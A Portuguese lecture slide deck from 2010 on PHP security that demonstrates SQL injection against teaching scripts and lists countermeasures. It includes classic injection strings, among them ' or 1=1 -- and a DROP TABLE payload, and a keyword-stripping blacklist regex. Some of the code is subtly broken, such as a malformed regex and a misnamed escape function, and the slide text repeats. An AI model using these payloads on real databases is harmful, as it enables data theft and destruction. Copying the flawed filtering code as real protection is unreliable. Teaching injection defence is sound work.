Activar selecção nome +password em php_sqlinjection_sel.phpAplicar em nome
‘ or 1=1 –xxx; Drop table -- !!!
“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
Abril 2010
25
i) SQL injection
php_sqlinjection_sel.php
php_sqli_sel_sq2.php
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
1’ or ‘1’=‘1%' or 1=1 –......
Activar selecção nome +password em php_sqlinjection_sel.phpAplicar em nome
‘ or 1=1 –xxx; Drop table -- !!!
SQL_Inject_me
“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário: Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Password<br/><input type="password" name="password" maxlength="10"/><br/>
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Validação do tipo de input:
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>
is_int()gettype()intval()settype()strlen()strtotime()….
if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Validação do tipo de input:
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>
is_int()gettype()intval()settype()strlen()strtotime()….
Limitar a utilização de caracteres/expressões SQL
if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Validação do tipo de input:
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>
is_int()gettype()intval()settype()strlen()strtotime()….
Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);
if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Validação do tipo de input:
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>
is_int()gettype()intval()settype()strlen()strtotime()….
Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);
Efectuar o “escaping” de variáveis
if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Validação do tipo de input:
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>
is_int()gettype()intval()settype()strlen()strtotime()….
Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);
Efectuar o “escaping” de variáveissqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).
Ex: php_sqlinjection_sel1a.php activar escaping
if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
Abril 2010
26
i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:
Validação do tipo de input:
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>
is_int()gettype()intval()settype()strlen()strtotime()….
Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);
Efectuar o “escaping” de variáveissqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).
Ex: php_sqlinjection_sel1a.php activar escaping
if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
Utilizar declarações (SQL)
EX: script php_sqlinjection_sel1.php
Abril 2010
Segurança como um todo – o que fazer?
Como proteger das vulnerabilidades PHP?
Do ponto de vista do administrador do sistema:
Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO),
Teste as aplicações sempre que use novas versões do PHP,
Faça um scanning às aplicações em uso,
Considere a utilização da seguinte configuração em PHP:
register_globals (deve estar off),
allow_url_fopen (deve estar off),
magic_quotes_gpc (deve estar off),
open_basedir (deve estar on e configurada correctamente),
27
Abril 2010
28
Segurança como um todo – o que fazer?
Como proteger das vulnerabilidades PHP ?
Do ponto de vista do programador:
Migrar urgentemente a aplicação para PHP 5.2 ou superior . Para evitar as questões anteriores:
Programar com a última versão do PHP e com configuração “hardned” Validar todo o input de acordo com o tipo de variável atribuídaCodificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSSMigrar o interface de dados para PDONão usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros
Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant
Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1
Top Related